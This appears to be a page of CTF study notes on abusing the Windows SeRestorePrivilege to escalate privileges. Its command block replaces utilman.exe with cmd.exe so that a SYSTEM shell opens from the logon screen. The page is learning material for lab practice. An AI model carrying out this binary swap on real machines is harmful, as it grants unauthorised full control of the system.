> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/windows-priv/token-abuse/seretoreprivilege.md).

# SeRetorePrivilege

Write access control to any file on the system, regardless of the files ACL. You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.

Check the info below. <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges>\
\
You will need to have a login terminal access via RDP or physically.&#x20;

{% code overflow="wrap" %}

```bash
# Windows Target

#https://raw.githubusercontent.com/gtworek/PSBits/master/Misc/EnableSeRestorePrivilege.ps1

PS> .\EnableSeRestorePrivilege.ps1
PS> move C:\Windows\system32\utilman.exe C:\Windows\system32\utilman.exe.o
PS> move C:\Windows\system32\cmd.exe C:\Windows\system32\utilman.exe

# Assume that you have a RDP console.
Kali> rdesktop $RHOST 

At Logon Screen: Press Win+u key 
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FWGr64zPBkMcHNgyCDSGd%2Fimage.png?alt=media&amp;token=758f3215-8d3d-4202-a89a-4e8d90e9c6c4" alt=""><figcaption></figcaption></figure>